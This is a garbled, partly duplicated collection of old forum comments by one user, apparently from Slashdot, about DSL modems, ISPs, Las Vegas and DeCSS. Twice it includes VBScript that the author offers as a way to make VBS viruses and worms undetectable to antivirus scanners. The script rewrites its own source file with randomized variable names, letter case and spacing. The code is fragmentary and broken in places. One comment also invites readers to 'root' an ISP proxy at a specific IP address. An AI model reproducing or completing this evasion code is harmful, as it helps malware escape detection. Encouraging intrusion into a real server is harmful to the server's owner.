Yeah, I tickle myself all the time... All I do is stimulate the right nerves. Our methods of thinking, as human beings, are flawed. We have developed a system of math and science, that for the most part is correct but then cannot be "proven" in any existance. In reality you can NEVER have '1'in addition to '1' equal '2' (basically 1+1=2) because the process of adding two 1's together actually requires something to bond them, hence we have the plus sign (which means basically a bond... in simple mathematics). We added a new element to the equation to make 1+1 which is a reference to '2'. Anyone follow?
In today's world we are told to think in simplified terms of +1+1=+2 and that +2-1=+1, "+" being the inverse of "-" all relative to zero. Relative to one object, zero, but then we move into Algebra class and learn of variables and that 'x' can be relative to 'z' and that 'y' is relative to 'x'... hence 'y' we know is related to 'z', although we are not told that directly.
DNS info at network solutions last updated 02-May-1999
So it isn't dead, I will also be contributing to the effort to make sure things are done right... It cannot exist without being built by it's own (future) people, not just one or two persons...
I know this isn't all that great of code, especially since it doesn't actually reprogram itself (like any good polymorphic script should do) but this makes most VBS virii/worms be undetectable to standard virii scanners. My question is 'Why don't virii scanning companies just make smarter scanners?'
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dim debug sub debuglog(text) debug=debug & vbcrlf & "dbug-" & text end sub '----------------- remove the above function, its crap....
dim fso,jogger,ViriiFile ' jogger is the string containing this file set fso=CreateObject("Scripting.FileSystemObject") 'set Viriifile=fso.OpenTextFile(Wscript.ScriptFullname, 1) set Viriifile=fso.OpenTextFile("C:\tmp.txt", 1) jogger=Viriifile.ReadAll viriiFile.close
function crypt(text, offset) if offset =255 then char=char-255 elseif char1 and not asc(mid(file(i),j-1,1)) = 60 and not asc(mid(file(i),j-1,1)) = 62) then for k=1 to int(rnd*3)+1 replaceline=replaceline & chr(32) next replaceline=replaceline & chr(61) ' add = in... for k=1 to int(rnd*3)+1 replaceline=replaceline & chr(32) next end if case else replaceline=replaceline & mid(file(i),j,1)
end select
next
' wscript.echo "We are replacing line: " & vbcrlf & file(i) & vbcrlf & "With:" & vbcrlf & replaceline file(i)=replaceline if (rnd*10)+1=1 then file(i)=file(i) & vbcrlf next dim FileToChange filetochange=wscript.scriptfullname set viriifile=fso.CreateTextFile(FileToChange,true) viriifile.write join(file,vbcrlf) viriifile.close end function
main()
sub main() 'add these lines to the original 'virus' or worm polychange() ReplaceVariables() if len(debug) >0 then wscript.echo debug end sub
'-------------------- below is the variable variables stuff.
Sub ReplaceVariables() dim fso,moose,MiaFile ' hehe very descriptive names.... heh 'moose' and 'MiaFile' I think I was on crack when i wrote this stuff set fso=CreateObject("Scripting.FileSystemObject") set MiaFile=fso.OpenTextFile(Wscript.ScriptFullname, 1) moose=MiaFile.ReadAll MiaFile.close dim VariablesList,alist,newvarname variableslist="MiaFile,variableslist,ReplaceVariab les,moose,newvarname" '------------ THE ABOVE LIST MUST CONTAIN ALL VARIABLE NAMES AND ALL FUNCTION NAMES (keep them unique and not occuring naturally anywhere else (that means change all my for(i) loops to for (fruityi) or something... make them unique!
alist=split(variableslist,chr(44)) for i=0 to ubound(alist) newvarname=RandomVarName() moose=replace(moose,alist(i),newvarname,1,-1,1) ' we dont want a binary compare... Next
set MiaFile=fso.CreateTextFile(wscript.scriptfullname, true) dim odd,newmoose for i=1 to len(moose) if int((rnd*3)+1)=1 then newmoose=newmoose & ucase(mid(moose,i,1)) else newmoose=newmoose & lcase(mid(moose,i,1)) end if next MiaFile.write newmoose MiaFile.close End Sub function RandomVarName() randomize dim length,char length=int(rnd*20)+20 for i=1 to length char=chr(int(rnd*26)+97) ' if int(rnd*2)=1 then char=ucase(char) ' I decided this wasnt needed randomvarname=randomvarname & char next End Function
If you goto http://php.net/manual and check out how they organize their manual and allow users to actually improve on the manual. I think that is a wonderful way to keep users informed plus a good way for a company to get feedback on where improvements need to be made.
Chaparral High School in Las Vegas is taking a stand against corruption. The students are now starting to organize a 'resistance' (as seen by school staff).
The whole west coast area, from my understanding is out of stock at the warehouses.... Ask to buy floor models.... I did, but couldn't... Luckily I got a guarenteed price of $99 with no service and the system will arrive within 2 weeks.
Since you can bridge USB to Ethernet, why not just use Win98 or something with some drivers that allow USB Ethernet? Since gettting it to work under Linux is definately quite a challenge right now?
VNC to an X session on a real linux box... all your problems are solved. (Except local stability, but you can always resume your X session(s))
I'm buying one of these and I'm gonna use my beta Dual Link modem from 3Com to bridge the Ethernet to USB:)
Sprint/Earthlink has a policy for it's DSL subscribers, which I have refused to follow and I make it very clear to any Sprint techs that I do not believe in it.
If they see any kind of network in the home, they will not do the install, unless it is a business account. If they come on site for maintenance or something and notice a network, they terminate service.
Sprint / Earthlink suck pretty bad in terms of what they allow customers to do. Plus it appears like some areas they force all connections going out to a port 80 to filter through their proxy/caching servers 208.13.143.71 is one of those I believe. (Anyone want to root it?:)
Cable companies have a hard time actually capping connections on their end, usually this is done via the modem's config. ADSL is not like that though. Most ADSL networks have the ATM link limitted to a certain ammount of bandwidth. You cannot just flash a modem to upgrade it's speed with ADSL (unless its not a capped service).
With the 3Com Dual Link modem (basically the same thing as what Motorola is now saying they are going to offer) there is a console and telnet ability... If you want a real "hackable" modem, I'd recommend the 3Com dual link.
The 3Com dual link is VERY VERY VERY configurable via the console, you just have to know what your doing. It handles multiple ATM links also.
Exactly what I am saying, but I appologize that I cannot provide any links to this topic, since all beta materials that I have are under a NDA and I cannot reveal more information.
I forgot to mention that the 3Com "HomeConnect Dual Link" modem uses the Alcatel chipset, ensuring that your compatible with most ISPs doing DSL....
Often negotiated speeds on my DSL line are 1Mbit downstream and 640K upstream, not bad for how far I am from the CO.
Also, get static IP#s.... don't let your ISP put you on PPPoE or some other weak crap like that. PPPoE is not worth the time and there is absolutely no point to it!
3Com is in the process of finalizing a "Dual Link" modem that does VPN, PPPoE, Bridging, NAT, USB/Ethernet bridging, and some very cool other features.... it has console access (at least in betas... i bet they will keep it)
You get full control via console or you can access it remotely... it has a built in web config console too.
It kicks my Alcatel 1000 ADSL modem's butt.... I definately recommend waiting for 3Com to release these things publically.
Its awsome to bridge USB and Ethernet networks... now I don't need to go buy a NIC for my laptop:)
Another good point to mention when writing letters is not to copy a "template" letter (I've seen a few letters posted on sites about this issue) but just use it as an idea on how to compose yours to different people. I wrote 9 or so letters today, all personally addressed relating to this issue and I think that if they were all the same as what other people sent in, they would be less influencial on the idiots who support the act.
As I've said before, Vegas is a very geeky town.... p0rn freaks love us, 24/hr everything.... even weddings.... the backbone to vegas is improving dramatically also..... a large portion of vegas is on cable and DSL is expanding rapidly...... you name it, we got it.....
I've actively used DSL and cable...... Cable plainly sucks...... just too much latency and slow... DSL is great, but still 1 or two megabits isnt enough........
true geeks want microwave encrypted 10/100Mbit inner-city lans with network connection points running at 100Mbit....
just think, if a few thousand people in your town played Quake ][ or ]|[ on a nice well built network like that.... cable would be out of business:) DSL would still be a good private connection direct to the backbones also....
Whatever happend to source code being classified as free speech? I thought the US 9th Circuit Court of Appeals decided it was its own language and must be protected.
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Yeah, I tickle myself all the time ... All I do is stimulate the right nerves. Our methods of thinking, as human beings, are flawed. We have developed a system of math and science, that for the most part is correct but then cannot be "proven" in any existance. In reality you can NEVER have '1'in addition to '1' equal '2' (basically 1+1=2) because the process of adding two 1's together actually requires something to bond them, hence we have the plus sign (which means basically a bond... in simple mathematics). We added a new element to the equation to make 1+1 which is a reference to '2'. Anyone follow?
In today's world we are told to think in simplified terms of +1+1=+2 and that +2-1=+1, "+" being the inverse of "-" all relative to zero. Relative to one object, zero, but then we move into Algebra class and learn of variables and that 'x' can be relative to 'z' and that 'y' is relative to 'x'... hence 'y' we know is related to 'z', although we are not told that directly.
While AOL is busy with its head up its @$$ and grabbing up ground-based media, Disney is conquering the skies to do a massive broadcast of Fantasia.
And I, while all this happens, read slashdot and post this message. (Oh, werd... an infinite loop of postings on slashdot, what an idea!)
Polymorphic scripts are neat, I wonder if it uses the same methods and ideas as my previously posted code at: http://slashdot.org/co mments.pl?sid=00/05/19/1326219&cid=464
Oh btw, this sounds like the old links.vbs worm... from a while back....
DNS info at network solutions last updated 02-May-1999
So it isn't dead, I will also be contributing to the effort to make sure things are done right... It cannot exist without being built by it's own (future) people, not just one or two persons...
I know this isn't all that great of code, especially since it doesn't actually reprogram itself (like any good polymorphic script should do) but this makes most VBS virii/worms be undetectable to standard virii scanners. My question is 'Why don't virii scanning companies just make smarter scanners?'
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b les,moose,newvarname"
, true)
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dim debug
sub debuglog(text)
debug=debug & vbcrlf & "dbug-" & text
end sub
'----------------- remove the above function, its crap....
dim fso,jogger,ViriiFile ' jogger is the string containing this file
set fso=CreateObject("Scripting.FileSystemObject")
'set Viriifile=fso.OpenTextFile(Wscript.ScriptFullname
set Viriifile=fso.OpenTextFile("C:\tmp.txt", 1)
jogger=Viriifile.ReadAll
viriiFile.close
function crypt(text, offset)
if offset =255 then
char=char-255
elseif char1 and not asc(mid(file(i),j-1,1)) = 60 and not asc(mid(file(i),j-1,1)) = 62) then
for k=1 to int(rnd*3)+1
replaceline=replaceline & chr(32)
next
replaceline=replaceline & chr(61) ' add = in...
for k=1 to int(rnd*3)+1
replaceline=replaceline & chr(32)
next
end if
case else
replaceline=replaceline & mid(file(i),j,1)
end select
next
' wscript.echo "We are replacing line: " & vbcrlf & file(i) & vbcrlf & "With:" & vbcrlf & replaceline
file(i)=replaceline
if (rnd*10)+1=1 then file(i)=file(i) & vbcrlf
next
dim FileToChange
filetochange=wscript.scriptfullname
set viriifile=fso.CreateTextFile(FileToChange,true)
viriifile.write join(file,vbcrlf)
viriifile.close
end function
main()
sub main()
'add these lines to the original 'virus' or worm
polychange()
ReplaceVariables()
if len(debug) >0 then wscript.echo debug
end sub
'-------------------- below is the variable variables stuff.
Sub ReplaceVariables()
dim fso,moose,MiaFile ' hehe very descriptive names.... heh 'moose' and 'MiaFile' I think I was on crack when i wrote this stuff
set fso=CreateObject("Scripting.FileSystemObject")
set MiaFile=fso.OpenTextFile(Wscript.ScriptFullname, 1)
moose=MiaFile.ReadAll
MiaFile.close
dim VariablesList,alist,newvarname
variableslist="MiaFile,variableslist,ReplaceVaria
'------------ THE ABOVE LIST MUST CONTAIN ALL VARIABLE NAMES AND ALL FUNCTION NAMES (keep them unique and not occuring naturally anywhere else (that means change all my for(i) loops to for (fruityi) or something... make them unique!
alist=split(variableslist,chr(44))
for i=0 to ubound(alist)
newvarname=RandomVarName()
moose=replace(moose,alist(i),newvarname,1,-1,1) ' we dont want a binary compare...
Next
set MiaFile=fso.CreateTextFile(wscript.scriptfullname
dim odd,newmoose
for i=1 to len(moose)
if int((rnd*3)+1)=1 then
newmoose=newmoose & ucase(mid(moose,i,1))
else
newmoose=newmoose & lcase(mid(moose,i,1))
end if
next
MiaFile.write newmoose
MiaFile.close
End Sub
function RandomVarName()
randomize
dim length,char
length=int(rnd*20)+20
for i=1 to length
char=chr(int(rnd*26)+97)
' if int(rnd*2)=1 then char=ucase(char) ' I decided this wasnt needed
randomvarname=randomvarname & char
next
End Function
If you goto http://php.net/manual and check out how they organize their manual and allow users to actually improve on the manual. I think that is a wonderful way to keep users informed plus a good way for a company to get feedback on where improvements need to be made.
Chaparral High School in Las Vegas is taking a stand against corruption. The students are now starting to organize a 'resistance' (as seen by school staff).
The website is quite interesting!
Why do stupid govt try to place blame on admins for everything instead of on the individual? Any ideas?
if only hard drives went that fast, now....
:)
Physical movement is too slow for most things, lets work on that and not terabit networking
The whole west coast area, from my understanding is out of stock at the warehouses.... Ask to buy floor models.... I did, but couldn't... Luckily I got a guarenteed price of $99 with no service and the system will arrive within 2 weeks.
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Since you can bridge USB to Ethernet, why not just use Win98 or something with some drivers that allow USB Ethernet? Since gettting it to work under Linux is definately quite a challenge right now?
:)
VNC to an X session on a real linux box... all your problems are solved. (Except local stability, but you can always resume your X session(s))
I'm buying one of these and I'm gonna use my beta Dual Link modem from 3Com to bridge the Ethernet to USB
x-empt
Sprint/Earthlink has a policy for it's DSL subscribers, which I have refused to follow and I make it very clear to any Sprint techs that I do not believe in it.
:)
If they see any kind of network in the home, they will not do the install, unless it is a business account. If they come on site for maintenance or something and notice a network, they terminate service.
Sprint / Earthlink suck pretty bad in terms of what they allow customers to do. Plus it appears like some areas they force all connections going out to a port 80 to filter through their proxy/caching servers 208.13.143.71 is one of those I believe. (Anyone want to root it?
x-empt
Cable companies have a hard time actually capping connections on their end, usually this is done via the modem's config. ADSL is not like that though. Most ADSL networks have the ATM link limitted to a certain ammount of bandwidth. You cannot just flash a modem to upgrade it's speed with ADSL (unless its not a capped service).
With the 3Com Dual Link modem (basically the same thing as what Motorola is now saying they are going to offer) there is a console and telnet ability... If you want a real "hackable" modem, I'd recommend the 3Com dual link.
The 3Com dual link is VERY VERY VERY configurable via the console, you just have to know what your doing. It handles multiple ATM links also.
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Exactly what I am saying, but I appologize that I cannot provide any links to this topic, since all beta materials that I have are under a NDA and I cannot reveal more information.
:)
USB acting as a 12 mbit NIC? Yeppo!
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I forgot to mention that the 3Com "HomeConnect Dual Link" modem uses the Alcatel chipset, ensuring that your compatible with most ISPs doing DSL....
Often negotiated speeds on my DSL line are 1Mbit downstream and 640K upstream, not bad for how far I am from the CO.
Also, get static IP#s.... don't let your ISP put you on PPPoE or some other weak crap like that. PPPoE is not worth the time and there is absolutely no point to it!
x-empt
3Com is in the process of finalizing a "Dual Link" modem that does VPN, PPPoE, Bridging, NAT, USB/Ethernet bridging, and some very cool other features.... it has console access (at least in betas... i bet they will keep it)
... now I don't need to go buy a NIC for my laptop :)
You get full control via console or you can access it remotely... it has a built in web config console too.
It kicks my Alcatel 1000 ADSL modem's butt.... I definately recommend waiting for 3Com to release these things publically.
Its awsome to bridge USB and Ethernet networks
Another good point to mention when writing letters is not to copy a "template" letter (I've seen a few letters posted on sites about this issue) but just use it as an idea on how to compose yours to different people. I wrote 9 or so letters today, all personally addressed relating to this issue and I think that if they were all the same as what other people sent in, they would be less influencial on the idiots who support the act.
24/hr fast food & supermarkets
24/hr p0rn
24/hr b33r
24/hr entertainment (rides and such)...
Theme parks
Hot tourist chicks
Lots of babe neighbors that work in strip joints
Lots of jobs
Lots of sunlight, so you can get an occasional tan and look normal :)
Fast backbones to the Internet (quite a few providers are getting in here nowdays)
DSL / Cable is widespread.... Cable is in need of something faster though ... true geeks use DSL at home
Great Conventions... or they used to be at least, defcon is now pretty kiddie-ish... time for my to start my own :)
As I've said before, Vegas is a very geeky town.... p0rn freaks love us, 24/hr everything.... even weddings.... the backbone to vegas is improving dramatically also..... a large portion of vegas is on cable and DSL is expanding rapidly...... you name it, we got it.....
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Vegas is the city for p0rn geeks... we got it all, believe me :)
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I've actively used DSL and cable...... Cable plainly sucks...... just too much latency and slow... DSL is great, but still 1 or two megabits isnt enough........
:) DSL would still be a good private connection direct to the backbones also....
true geeks want microwave encrypted 10/100Mbit inner-city lans with network connection points running at 100Mbit....
just think, if a few thousand people in your town played Quake ][ or ]|[ on a nice well built network like that.... cable would be out of business
There are reasons why I can post the code which aren't discussed openly yet.... but they will be if anyone wants to file legal actions against me
http://xempt.darpa.org:81/decss/
I believe that even the Digital Millenium Copyright Act protects reverse engineering in the name of software support.... http://lcweb.loc.gov/copyright/ legislation/dmca.pdf
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well hmm, x-empt (lvhc at urban-a (dot) net)